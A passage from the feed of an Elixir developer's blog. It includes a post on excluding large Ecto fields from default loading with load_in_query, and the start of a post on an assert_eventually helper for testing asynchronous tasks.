&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my firewall for Phoenix &lt;a href=&quot;https://ezsuite.dev&quot;&gt;Phx2Ban&lt;/a&gt; or my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or video courses (&lt;a href=&quot;https://indiecourses.com/catalog/build-an-mvp-with-elixir-6i4V9yOqLL54GuG0HkV9HR&quot;&gt;one&lt;/a&gt; and &lt;a href=&quot;https://indiecourses.com/catalog/building-forms-with-phoenix-liveview-2OPYIqaekkZwrpgLUZOyZV&quot;&gt;two&lt;/a&gt;). Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;Bluesky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/binary-pattern-matching-in-elixir"/>
    <id>https://peterullrich.com/binary-pattern-matching-in-elixir</id>
    <title>Binary Pattern Matching in Elixir</title>
    <updated>2025-10-11T06:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey folks! Let&apos;s warm up with a joke:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;It is forbidden to laugh out loud in Hawaii.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;You have to keep it to a low ha.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A low ha. Aloha. Got it? Good! Let&apos;s begin.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;Let&apos;s say you want to store a map in an &lt;code&gt;Ecto.Schema&lt;/code&gt;. You add a &lt;code&gt;:map&lt;/code&gt; field which Ecto converts into an optimized &lt;code&gt;jsonb&lt;/code&gt; column in Postgres. You trust the awesomeness of Postgres and start dumping data into it. Everything works fine.&lt;/p&gt;
&lt;p&gt;Until your PM pings you.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Hey. Why is our website so slow now?&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Weird.&lt;/p&gt;
&lt;p&gt;Everything works fine locally, but your production website now takes seconds to load when it worked just fine yesterday. You scratch your head. Is it maybe the new &lt;code&gt;:map&lt;/code&gt; field you added?&lt;/p&gt;
&lt;p&gt;Spoiler: It is! 🎉&lt;/p&gt;
&lt;p&gt;You realize that only pages that list many records are affected and pages that show a single record are not. Then it hits you: &lt;code&gt;jsonb&lt;/code&gt; fields can hold up to &lt;code&gt;~268MB&lt;/code&gt; of data and &lt;code&gt;json&lt;/code&gt; fields even up to &lt;code&gt;1GB&lt;/code&gt;! Whenever you list your records, Ecto fetches all this data from the database. Most times, you don&apos;t even need it!&lt;/p&gt;
&lt;p&gt;So, how can you tell Ecto to &lt;strong&gt;not&lt;/strong&gt; load it by default?&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-solution&quot;&gt;&lt;/a&gt;The Solution&lt;/h2&gt;
&lt;p&gt;Enter, the &lt;a href=&quot;https://hexdocs.pm/ecto/Ecto.Schema.html#field/3-options&quot;&gt;load_in_query&lt;/a&gt; option.&lt;/p&gt;
&lt;p&gt;By default, Ecto loads all schema fields whenever it returns a record from a query. So, if you list e.g. the 20 latest records, Ecto will load &lt;strong&gt;all&lt;/strong&gt; their fields - including very large &lt;code&gt;jsonb&lt;/code&gt; fields - when you run &lt;code&gt;Repo.all/1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;load_in_query&lt;/code&gt;, you can tell Ecto to not load the field by default, but only if you select it explicitly. Here&apos;s how:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.MySchema&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Schema&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;schema&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;my_schemas&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:very_large_map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;load_in_query: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# load_in_query can be set on any `field`. For example:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:very_large_list&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:array&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;load_in_query: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:huge_text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;load_in_query: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, when you run &lt;code&gt;Repo.one/1&lt;/code&gt; or &lt;code&gt;Repo.all/1&lt;/code&gt; on this schema, the &lt;code&gt;very_large_map&lt;/code&gt; field will be &lt;code&gt;nil&lt;/code&gt;. Since Ecto doesn&apos;t have to load potentially gigabytes of data, your website should list records much faster again.&lt;/p&gt;
&lt;p&gt;But what if you need the data in &lt;code&gt;very_large_map&lt;/code&gt;? Easy, just select the field explicitly, like so:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;list_records&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;with_very_large_map&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;\\&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;MySchema&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;maybe_load_map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;with_very_large_map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;maybe_load_map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;maybe_load_map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;schema&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;schema&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;very_large_map: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;schema&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;very_large_map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, if you set &lt;code&gt;with_very_large_map: true&lt;/code&gt;, Ecto will load the field again.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my firewall for Phoenix &lt;a href=&quot;https://ezsuite.dev&quot;&gt;Phx2Ban&lt;/a&gt; or my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or video courses (&lt;a href=&quot;https://indiecourses.com/catalog/build-an-mvp-with-elixir-6i4V9yOqLL54GuG0HkV9HR&quot;&gt;one&lt;/a&gt; and &lt;a href=&quot;https://indiecourses.com/catalog/building-forms-with-phoenix-liveview-2OPYIqaekkZwrpgLUZOyZV&quot;&gt;two&lt;/a&gt;). Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;Bluesky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/stop-loading-large-ecto-fields-by-default"/>
    <id>https://peterullrich.com/stop-loading-large-ecto-fields-by-default</id>
    <title>Stop Loading Large Ecto Fields by Default</title>
    <updated>2025-10-03T06:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Welcome to another blog post, folks! First another dad joke:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;What do you call a medieval spy?
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;Sir Veillance
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alrighty, today&apos;s a quick one. How to assert that an async task succeeds eventually in your Elixir tests.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;Elixir makes writing asynchronous work easy, but testing it is still a bit tricky. Let&apos;s have a look at an example test:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;async task updates my database record eventually&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;status: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:unprocessed&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# This task processes a file and updates its db record asynchronously.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;MyProcessingTask&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;process_async&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Wait for the task to finish.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Process&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;sleep&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Assert that the db record was updated.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;status: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:processed&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;reload!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this example test, we execute a task that runs asynchronously to our test process. It processes a file and updates its database record when the process finishes. The problem here is that we don&apos;t know when the process finishes and when to reload our file to check its status. We could probably monitor the task and write a callback that notifies us when the task shuts down, but we&apos;re lazy, so we simply sleep for 100ms and assume that the process has finished by then.&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;Process.sleep/1&lt;/code&gt; to wait for an async task to finish is meeeh. If our task takes longer than 100ms, our test fails although the task might have succeeded eventually. Also, if the task only takes 10ms, our test will still wait 90ms more which might balloon the overall execution time of our test suite if we have many such tests.&lt;/p&gt;
&lt;p&gt;Luckily, there&apos;s a better way: &lt;code&gt;assert_eventually/1&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-solution&quot;&gt;&lt;/a&gt;The Solution&lt;/h2&gt;
&lt;p&gt;This little helper function checks whether our assertion succeeds ... eventually. By default, it checks every 10ms if our condition succeeds until a threshold of 100ms is reached at which it raises an &lt;code&gt;ExUnit.AssertionError&lt;/code&gt;.&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# test/support/data_case.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;doc&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;A test helper for asserting that a function will return
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;a truthy value eventually within a given time frame.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert_eventually&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;fun&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;timeout&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;\\&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;interval&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;\\&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert_eventually&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_fun&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;timeout&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_interval&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;when&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;timeout&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;=&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;raise&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ExUnit.AssertionError&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Eventually assertion failed to receive a truthy result before timeout.&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert_eventually&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;fun&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;timeout&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;interval&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
